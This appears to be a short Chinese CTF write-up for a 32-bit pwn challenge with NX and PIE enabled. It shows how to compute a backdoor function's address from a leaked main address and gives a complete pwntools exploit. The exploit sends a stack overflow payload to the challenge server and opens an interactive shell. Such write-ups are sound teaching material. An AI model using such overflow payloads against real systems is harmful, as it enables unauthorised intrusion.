下载 exeinfo checksec


32位 NX PIE开启
查看main函数:

后门函数:

发现已经给出了main函数地址
因为开启了PIE 所以IDA中 后门函数减去main函数的后三位就是偏移 给出的函数加上这个数就是后门函数地址
exp:
from pwn import *
p = remote("node7.anna.nssctf.cn", 25161)
p.recvuntil(b"0x")
main_addr = int(p.recvuntil(b'\n')[:-1], 16)
print(main_addr)
print(hex(main_addr))
shell = 0x80F - 0x770 + main_addr
payload = b'a' * (0x28 + 4) + p32(shell)
p.send(payload)
p.interactive()
运行 得到flag:






![[mmdetection]fast-rcnn模型训练自己的数据集的详细教程](https://i-blog.csdnimg.cn/direct/4e0424e879ef4050a9c992f1562c2f2f.png)

![BUU14 [极客大挑战 2019]PHP1](https://i-blog.csdnimg.cn/direct/373efff1aa88494ebccfe754b49cbc58.png)







![BUU16 [ACTF2020 新生赛]BackupFile1](https://i-blog.csdnimg.cn/direct/cebf61cdb550427bb9eb2a250a75d790.png)


